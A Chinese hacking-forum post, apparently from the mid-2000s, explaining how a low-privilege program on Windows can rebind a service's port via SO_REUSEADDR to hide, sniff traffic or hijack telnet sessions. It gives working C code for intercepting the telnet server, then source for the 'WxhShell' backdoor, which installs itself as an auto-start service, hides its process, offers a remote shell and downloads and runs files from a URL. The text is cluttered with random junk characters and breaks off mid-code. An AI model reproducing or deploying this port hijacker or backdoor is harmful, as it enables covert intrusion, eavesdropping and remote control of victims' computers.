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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mn" a$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m0F-[k3)  
YjS|Ht->  
  saddr.sin_family = AF_INET; Lq LciD  
U%_a@&<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Np|i Xwl1  
{C*mn!u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h=4m2m  
t2+m7*76  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7G%`ziZ  
7 m&M(ct  
  这意味着什么?意味着可以进行如下的攻击: Y*f7& '[  
e7/J:n$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5.VA1  
u|8`=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;'ts dsu}  
vD1jxk'fd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fylW)W4C  
Um15@p;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,X\z#B  
m98k /w_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zK:/ 1  
% C6 H(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Rl3KE)<  
 G!O D7:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A1%V<im@Z  
)_.@M '?  
  #include Q6%m}R  
  #include \|j`jsq  
  #include B7 }-g"p$/  
  #include    6/@ cP/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r7ywK9UL  
  int main() ,=oq)Fm]  
  { Q:-H U bB  
  WORD wVersionRequested; _7$j>xX  
  DWORD ret; ^5,ASU  
  WSADATA wsaData; |[o2S90  
  BOOL val; [mWo&Ph[-  
  SOCKADDR_IN saddr; Cn28&$:J  
  SOCKADDR_IN scaddr; G0]q(.sOy  
  int err; s|,gn5  
  SOCKET s; =/dW5qy;*+  
  SOCKET sc; #llc5i;  
  int caddsize; ItOVx!"@9  
  HANDLE mt; Nob(bD5SpE  
  DWORD tid;   V!},a@>p  
  wVersionRequested = MAKEWORD( 2, 2 ); }clFaT>m?  
  err = WSAStartup( wVersionRequested, &wsaData ); E/s3@-/  
  if ( err != 0 ) { u3k+Xg:  
  printf("error!WSAStartup failed!\n"); X% _~9'#%  
  return -1; wc__g8?'  
  } 31b-r[B{%  
  saddr.sin_family = AF_INET; `/+7@~[RU  
   >Q5 SJZ/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wEDU*}~  
P9%9/ B:-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a-QHm;_S  
  saddr.sin_port = htons(23); >Q+EqT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4-3B"  
  { 2d3wQ)2  
  printf("error!socket failed!\n"); hgVwoZ{`]  
  return -1; DK)qBxc8  
  } "lmiGR*u  
  val = TRUE; mLq?-&F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ip2JzE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rf%ver  
  { !J2Lp  
  printf("error!setsockopt failed!\n"); s#qq% @  
  return -1; Ak}l6{ ..  
  } k8*=1kl"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qx!IlO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BO h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CWDo_g $  
;TW@{re  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^NnZYr.  
  { ^OQ_iPPI  
  ret=GetLastError(); ;\&7smE[  
  printf("error!bind failed!\n"); ,5L &$Q6  
  return -1; R/^ rh  
  } !8A5Y[(XD  
  listen(s,2); T:}Ed_m}q  
  while(1) <B``/EX^  
  { < )?&Jf>_  
  caddsize = sizeof(scaddr); _D+7w'8h  
  //接受连接请求 6Q wL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 49kY]z|"w  
  if(sc!=INVALID_SOCKET) { aB_t%`w  
  { q&W#nWBV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); % vP{C  
  if(mt==NULL) W%$p,^@S5  
  { ` 86b  
  printf("Thread Creat Failed!\n"); h|-r t15  
  break; ev@1+7(  
  } f'.yM*  
  } <Jvr mm[  
  CloseHandle(mt); :#|77b0  
  } SZ1C38bd,.  
  closesocket(s); ,Y5+UzE@  
  WSACleanup(); 4^i*1&"  
  return 0; IM@Qe|5  
  }   ~O|0.)71]  
  DWORD WINAPI ClientThread(LPVOID lpParam) #/1Bam6  
  { <T&$1m{  
  SOCKET ss = (SOCKET)lpParam; AzQ}}A;TSx  
  SOCKET sc; WW_X:N~~e\  
  unsigned char buf[4096]; d6n6= [*  
  SOCKADDR_IN saddr; ;x7SY;0*  
  long num; |zUDu\MZ{  
  DWORD val; Ri3m438  
  DWORD ret; 9\n}!{@i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zzx4;C",u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uL= \t=  
  saddr.sin_family = AF_INET; Y{S/A*X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [[|;Wr} 2  
  saddr.sin_port = htons(23); p75w^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t +#Ss v8  
  { @z,'IW74V  
  printf("error!socket failed!\n"); k+i=0 P0mf  
  return -1; #" OKO6]  
  } m|y]j4  
  val = 100; Op0 #9W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5eU/ [F9  
  { XNl!(2x'pb  
  ret = GetLastError(); &0l Nj@/  
  return -1; q\/|nZO4  
  } *V\kS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f9 rToH  
  { ML]?`qv '  
  ret = GetLastError(); 1,mf]7k$  
  return -1; FStfGN  
  } ox*Ka]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -OHG1"/  
  { *83+!DV|  
  printf("error!socket connect failed!\n"); ?+!KucTF  
  closesocket(sc); y>o#Hq&qM  
  closesocket(ss); r({(;  
  return -1; 'X?`+2wK   
  } Ry(!< w,  
  while(1) X}Csl~W8in  
  { AD5tuY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "-Ns1A8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3646.i[D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -R8RAwsLG  
  num = recv(ss,buf,4096,0); C +IXP  
  if(num>0) (PNvv/A  
  send(sc,buf,num,0); qB&*"gf  
  else if(num==0) $W2g2[+  
  break; l(`w]=t&  
  num = recv(sc,buf,4096,0); Gq{v)iN  
  if(num>0) w_-{$8|  
  send(ss,buf,num,0); qle\c[UM5  
  else if(num==0) (u*]&yk  
  break; 'Hg(N?1"  
  } JE j+>  
  closesocket(ss); ucn aj|  
  closesocket(sc); k`&mHSk-  
  return 0 ; U/ZbE?it>  
  } Qh*|mW  
"<&F=gV  
0>'1|8+`(z  
========================================================== R_*\?^k|A  
~/NA?E-c  
下边附上一个代码,,WXhSHELL REt()$ 7~  
6^zv:C%  
========================================================== =DtM.oQ>  
)~5`A*Ku  
#include "stdafx.h" Ve=0_GR0  
2"mO"2d%  
#include <stdio.h> >S~#E,Tg  
#include <string.h> 1jV^\ x0  
#include <windows.h> 5~sJ$5<,  
#include <winsock2.h> S<>e(x3g]  
#include <winsvc.h> w3& F e=c  
#include <urlmon.h> (YR] X_  
+EpT)FJX  
#pragma comment (lib, "Ws2_32.lib") <1@_MY o  
#pragma comment (lib, "urlmon.lib") Yd,*LYd2EL  
R=IeAuZR4k  
#define MAX_USER   100 // 最大客户端连接数 jem$R/4"  
#define BUF_SOCK   200 // sock buffer [<%yUy  
#define KEY_BUFF   255 // 输入 buffer G,XFS8{%  
:hevBBP  
#define REBOOT     0   // 重启 C[pAa8  
#define SHUTDOWN   1   // 关机 |mK d5[$  
C!.6:Aj  
#define DEF_PORT   5000 // 监听端口 dJ|]W|q<  
>i0FGmxH  
#define REG_LEN     16   // 注册表键长度 YY.;J3C  
#define SVC_LEN     80   // NT服务名长度 jeJGxfii  
[pOU!9v4  
// 从dll定义API j$Kubg(I5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W9u (  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 51rM6 BT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B0YY7od  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]=pEs6%O3  
r%o!P`  
// wxhshell配置信息 <H 3}N!  
struct WSCFG { c\R! z&y~  
  int ws_port;         // 监听端口 qV(Plt%  
  char ws_passstr[REG_LEN]; // 口令 lh5k@\X  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]`|bf2*eA  
  char ws_regname[REG_LEN]; // 注册表键名 CUYp(GU  
  char ws_svcname[REG_LEN]; // 服务名 iBc( @EJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XL"e<P;t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #4|?;C)u\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ak1f*HGl|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4BCZ~_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ru sa &#[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a1Gy I  
K&S~IFy  
}; Ds-%\@p  
N/y.=]  
// default Wxhshell configuration !Hgq7vZG  
struct WSCFG wscfg={DEF_PORT, "r|O /   
    "xuhuanlingzhe", OCX?U50am  
    1, {^ N = hI  
    "Wxhshell", nhy3E  
    "Wxhshell", AU >d1S.  
            "WxhShell Service", V# Wd   
    "Wrsky Windows CmdShell Service", m@yaF: R  
    "Please Input Your Password: ", ^91k@MC  
  1, J|K~a?&vN  
  "http://www.wrsky.com/wxhshell.exe", <x1(}x:u`  
  "Wxhshell.exe" &18} u~M  
    }; v_Jp 9  
c[Y7tj%y  
// 消息定义模块 ZM5[ o m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; < 'T6k\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =JEnK_@?K\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !.F`8OD`u  
char *msg_ws_ext="\n\rExit."; kWr*+3Xq  
char *msg_ws_end="\n\rQuit."; )+ S"`  
char *msg_ws_boot="\n\rReboot..."; 2O4U ytN  
char *msg_ws_poff="\n\rShutdown..."; Ot(EDa9}IJ  
char *msg_ws_down="\n\rSave to "; J]Y." hi  
!5[?n3  
char *msg_ws_err="\n\rErr!"; &&tQ,5H5  
char *msg_ws_ok="\n\rOK!"; _~6AUwM  
;;UvK v  
char ExeFile[MAX_PATH]; o6svSS  
int nUser = 0; .'SM|r$  
HANDLE handles[MAX_USER]; )L^WD$"'Q  
int OsIsNt; Kw'A%7^e  
`oq 3G }  
SERVICE_STATUS       serviceStatus; bu\,2t}B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XD*$$`+#  
2< ^B]N  
// 函数声明 G;, 2cu K  
int Install(void); qk<tLvD_'  
int Uninstall(void); Vrz<DB^-e  
int DownloadFile(char *sURL, SOCKET wsh); 0Wk}d(f  
int Boot(int flag); ?2Bp^3ytJ  
void HideProc(void); 2)mKcUL-  
int GetOsVer(void); 2\m+  
int Wxhshell(SOCKET wsl); nfl6`)oW  
void TalkWithClient(void *cs); e}7qZ^  
int CmdShell(SOCKET sock); QK//bV)  
int StartFromService(void); lQ)ZsFs=  
int StartWxhshell(LPSTR lpCmdLine); [NJ!  
a_FJNzL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]%G[<zD,1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .lRO; D  
a*=\-;HaZ  
// 数据结构和表定义 u},<On  
SERVICE_TABLE_ENTRY DispatchTable[] = Qx$Yj  
{ E]"ePdZZ/  
{wscfg.ws_svcname, NTServiceMain}, 6\'v_A O  
{NULL, NULL} =q>eoXp  
}; :* @=px  
?6~RGg  
// 自我安装 B*,9{g0m/  
int Install(void) i7*4hYY  
{ Y#C=ku  
  char svExeFile[MAX_PATH]; RM QlciG  
  HKEY key; @l BR;B"  
  strcpy(svExeFile,ExeFile); }1epn#O_4  
fv#e 8y  
// 如果是win9x系统,修改注册表设为自启动 |PTL!>ym2  
if(!OsIsNt) { Kkdd}j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3""D{l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]J m9D=  
  RegCloseKey(key); Jg |/*Or  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1+Ja4`o,iS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xg#Dbf4  
  RegCloseKey(key); Ewu 7tq Z  
  return 0; Uu8Z2M  
    } 8V^gOUF.  
  } rOH8W  
} F5{~2~Cw(  
else { qD Nqd  
p}O@ %*p .  
// 如果是NT以上系统,安装为系统服务 )7[>/2aGd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]-["sw  
if (schSCManager!=0) D)f hk!<  
{ !dSY?1>U<  
  SC_HANDLE schService = CreateService 's!EAqCN  
  ( # 1I<qK  
  schSCManager, nBZqhtr  
  wscfg.ws_svcname, &2#<6=}  
  wscfg.ws_svcdisp, Xpjk2[,  
  SERVICE_ALL_ACCESS, ] E`J5o}op  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~@MIG  
  SERVICE_AUTO_START, NuW9.6$Jrf  
  SERVICE_ERROR_NORMAL, n"d~UV^Uw  
  svExeFile, V'\4sPt  
  NULL, }=;N3Q" #y  
  NULL, DJT)7l{  
  NULL, J1P82=$,  
  NULL, C`7HC2Is  
  NULL l,-smK69  
  ); ,Ix7Yg[  
  if (schService!=0) Xq+7l5LP  
  { 'xvV;bi  
  CloseServiceHandle(schService); Ui'~d(F  
  CloseServiceHandle(schSCManager); I)O%D3wfMW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vr`UF0_3q  
  strcat(svExeFile,wscfg.ws_svcname); |4x&f!%m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,1RW}1n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,|?B5n&  
  RegCloseKey(key); c{s<W}3Ds  
  return 0; ;@ %~eIlu  
    } I&1h/  
  } %`-NWAXL  
  CloseServiceHandle(schSCManager); ^~eT# Y8  
} ZO W{rv]  
} M'R^?Jjb  
?(;ygjyx  
return 1; /QD}_lh;,  
} (;V]3CtU*  
K\,&wU  
// 自我卸载 ~u/Enl7\-  
int Uninstall(void) laKMQLtv  
{ G2 xYa$&][  
  HKEY key; Bn}@wO  
(gs"2  
if(!OsIsNt) { >x (^g~i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /p?h@6h@y  
  RegDeleteValue(key,wscfg.ws_regname); 64h r| v  
  RegCloseKey(key); 3,S5>~R=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8!S="_  
  RegDeleteValue(key,wscfg.ws_regname); Y&]pC  
  RegCloseKey(key); 3Akb|r  
  return 0; ;'p X1T  
  } -QI1>7sl  
} J[RQF54qA{  
} FwmE1,  
else { b6R0za  
\CX`PZ><  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #0hX)7(j  
if (schSCManager!=0) =DcKHL(m  
{ {SCwi;m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xH; 4lw  
  if (schService!=0) OB;AgE@  
  { rM_8piD  
  if(DeleteService(schService)!=0) { *~:4&$  
  CloseServiceHandle(schService); &yp_wW-  
  CloseServiceHandle(schSCManager); mY |$=n5X  
  return 0; vAHJP$x  
  } pU<->d;->  
  CloseServiceHandle(schService); 0E o*C9FP~  
  } q71Tg  
  CloseServiceHandle(schSCManager); "e@JMS  
} haqL DVrf  
} ){5  $8  
Vdh5s292h  
return 1; Mpb|qGi!  
} W5HC7o\4  
. p<*n6E  
// 从指定url下载文件 !E4YUEY 6  
int DownloadFile(char *sURL, SOCKET wsh) `hY%<L sI  
{ yLipuMNV  
  HRESULT hr; o%RyE]pw,  
char seps[]= "/"; m7~kRY514  
char *token; mst-:F[h  
char *file; ko=vK%E[  
char myURL[MAX_PATH]; qIuY2b`6  
char myFILE[MAX_PATH]; "N D1$l  
M,3sK!`>  
strcpy(myURL,sURL); m7cp0+Peo  
  token=strtok(myURL,seps); xCiY jl$  
  while(token!=NULL) [ !].G=8  
  { ikw_t?  
    file=token; #q6jE  
  token=strtok(NULL,seps); G\=7d%T+  
  }  r@/+  
Ip|~j} }  
GetCurrentDirectory(MAX_PATH,myFILE); l)4KX{Rz{A  
strcat(myFILE, "\\"); roVGS{4T\  
strcat(myFILE, file); E&7U |$  
  send(wsh,myFILE,strlen(myFILE),0); ri.;&  
send(wsh,"...",3,0); 6L}$R`s5H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D0.7an6  
  if(hr==S_OK) !Hr~B.f7  
return 0; _RST[B.u6  
else +YI/(ko=  
return 1; R]/3`X9!d>  
xKv\z1ra  
} K_G( J>  
<V5(5gx  
// 系统电源模块 g\,pZ]0i  
int Boot(int flag) >DP9S@W  
{ [h {zT)[  
  HANDLE hToken; :54ik,l  
  TOKEN_PRIVILEGES tkp; @aAB#,  
3-`IMN n!  
  if(OsIsNt) { gp`$/ci  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J NPEyC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !9_HZ(W&  
    tkp.PrivilegeCount = 1; X3-pj<JLY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^KM' O8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wqkD  
if(flag==REBOOT) { iqreIMWz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nm`[\3R  
  return 0; lA<n}N)j  
} %@k@tD6  
else { ? %XTD39  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W8z4<o[$  
  return 0; 1LYz X;H1  
} (H5nz':  
  } u1a0w  
  else { 3q ujz)o  
if(flag==REBOOT) { }Z#KPI8\Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u atY:GSR  
  return 0; N-Fs-uB  
} ]^:sV)  
else { E6JfSH#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m#1 >y}  
  return 0; VzD LGLH  
} QOiPDu=8z  
} /S2lA>  
!l NCuR/T  
return 1; 2^ uP[  
} ~wYGTm=(n  
IUf&*'_  
// win9x进程隐藏模块 6<1 2j7  
void HideProc(void) >x?x3#SX  
{ E{s p  
& pHSX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gxnIur)  
  if ( hKernel != NULL ) Db4(E*/pj!  
  { 7[=\bL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m.F}9HI%hN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ SCi\j/a(  
    FreeLibrary(hKernel); 4 .Kl/b;  
  } Fi+8|/5  
^^,cnDlm  
return; W(5XcP(  
} ;k ?Z,M:  
CWBlDz  
// 获取操作系统版本 r&%TKm^/  
int GetOsVer(void) nA*U drcn  
{ ^?M# |>  
  OSVERSIONINFO winfo; f \ E9u}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); elJ?g &"  
  GetVersionEx(&winfo); "m#17J_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !$u:_8  
  return 1; YCl&}/.pA  
  else ygK@\JHn  
  return 0; M mmg3%G1  
} Bnp\G h  
F(O"S@  
// 客户端句柄模块 X9 N4  
int Wxhshell(SOCKET wsl) f9K+o-P.h  
{ $E/N  
  SOCKET wsh; 2Tp @;[!3  
  struct sockaddr_in client; !78P+i  
  DWORD myID; NufRd/q  
&|-jU+r}B  
  while(nUser<MAX_USER) ; ,Nvg6c  
{ lvAKL>qX  
  int nSize=sizeof(client); n'To:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bvW3[ V  
  if(wsh==INVALID_SOCKET) return 1; R$h B9BK  
{S@gjMuN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ' !2NSv  
if(handles[nUser]==0) dVMduo  
  closesocket(wsh); R]&lVXyH  
else '4Drs}j5  
  nUser++; r>#4Sr  
  } BZQ"[-V{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ToK=`0#LNK  
vA"LV+@  
  return 0; ::p%R@?  
} s !IvUc7'  
2FN E ;y(  
// 关闭 socket ;Q8`5h   
void CloseIt(SOCKET wsh) ,. zHG  
{ w5 #;Lm  
closesocket(wsh); XXw>h4hl  
nUser--; `>4"i+NFF8  
ExitThread(0); \9fJ)*-  
} -FF#+Z$  
>Hu3Guik]  
// 客户端请求句柄 o@m7@$7  
void TalkWithClient(void *cs) 3*T/ 7\  
{ 75pn1*"gQ  
% *ng *  
  SOCKET wsh=(SOCKET)cs; cQ;@z2\  
  char pwd[SVC_LEN]; ef7BG(  
  char cmd[KEY_BUFF]; rB-R(2 CCN  
char chr[1]; I<Cm$8O?  
int i,j; ;eJ|) *  
O=eU38n:5u  
  while (nUser < MAX_USER) { e(?1`1  
194n   
if(wscfg.ws_passstr) { Py?e+[cN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iGSF5S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ey.%: O-Dv  
  //ZeroMemory(pwd,KEY_BUFF); qpQiMiB#g'  
      i=0; Rh!m1Q(-  
  while(i<SVC_LEN) { TS`m&N{i")  
g[' 7$  
  // 设置超时 !<HF764@`  
  fd_set FdRead; guVuO  
  struct timeval TimeOut; DJ0jtv6nQ-  
  FD_ZERO(&FdRead); Y3#8]Z_"}O  
  FD_SET(wsh,&FdRead); P1z:L  
  TimeOut.tv_sec=8; /oZvm   
  TimeOut.tv_usec=0; XI:+EeM?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~]24">VZf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]heVR&bQ  
(0l>P]"n   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CfO{KiM(2  
  pwd=chr[0]; :fDzMD  
  if(chr[0]==0xd || chr[0]==0xa) { ]yQqx*  
  pwd=0; Xq_h C"s  
  break; n^rbc ;}  
  } r"7 PSJ  
  i++; j >`FZKxp  
    } XZQ-Ig18  
+vH#xc\'  
  // 如果是非法用户,关闭 socket >Hmho'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FRL;fF  
} c (29JZ  
oGyoU#z#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mE=Tj%+ x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zl>wWJ3y  
Unansk  
while(1) { i!fk'Yt%  
@Z7s3b  
  ZeroMemory(cmd,KEY_BUFF); [vz2< genn  
~}/_QlX` K  
      // 自动支持客户端 telnet标准   t0Lt+E|J  
  j=0; ' R2*3<  
  while(j<KEY_BUFF) { ,-kz \N@.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UV</Nx)3  
  cmd[j]=chr[0]; /cVZ/"  
  if(chr[0]==0xa || chr[0]==0xd) { _{ 2`sL)  
  cmd[j]=0; ]ncK M?'O  
  break; [S-#}C?~  
  } 9. ,IqnP  
  j++; }A[5\V^D*  
    } ?!$Dr0r  
t8;nP[`  
  // 下载文件 DjiI*HLNR  
  if(strstr(cmd,"http://")) { Z^Wv(:Nr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6JeAXj1g+  
  if(DownloadFile(cmd,wsh)) ![eY%2;<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5_l//]  
  else h#dfhcU>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' QjJ^3A  
  } {iCX?Sb  
  else { hQz1zG`z7  
b7">IzAe  
    switch(cmd[0]) { '*Tt$0#o  
  fN21[Jv3  
  // 帮助 7VdxQ T  
  case '?': { 5/T#>l<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0-uVmlk=/  
    break; /n:Q>8^n'W  
  } J l{My^I5  
  // 安装 l>hvWK[ ?I  
  case 'i': { 3hEbM'L  
    if(Install()) !w0=&/Y{R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t! u>l  
    else ``@e7~F{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rJB/)4 mE  
    break; D'^%Q_;u  
    } ~BE=z:  
  // 卸载 [r9HYju =  
  case 'r': { (yeWArQ  
    if(Uninstall()) 7osHKO<?2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zz<o4b R  
    else 1=z\,~ b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MX+gc$Y O  
    break; [M:<!QXw  
    } $:UD #eh0?  
  // 显示 wxhshell 所在路径 7 9k+R9m  
  case 'p': { <^W5UU#Pg  
    char svExeFile[MAX_PATH]; eOfVBF<C2  
    strcpy(svExeFile,"\n\r"); H;DjM;be  
      strcat(svExeFile,ExeFile); }I#_H  
        send(wsh,svExeFile,strlen(svExeFile),0); Df]*S  
    break; tWQ$`<h  
    } 3{Zd<JYg4-  
  // 重启 ;E!] /oY<  
  case 'b': { }^b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9Sa6v?sRor  
    if(Boot(REBOOT)) SP>&+5AydX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;!!`R>e  
    else { wS >S\,LV  
    closesocket(wsh); %F}d'TPx  
    ExitThread(0); NQcg}y  
    } sWKdqs  
    break; \>{;,f  
    } ZqjLZ9?q  
  // 关机 d7:=axo,  
  case 'd': { g; 7u-nP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _kBx2>qQ  
    if(Boot(SHUTDOWN)) QR<<O  
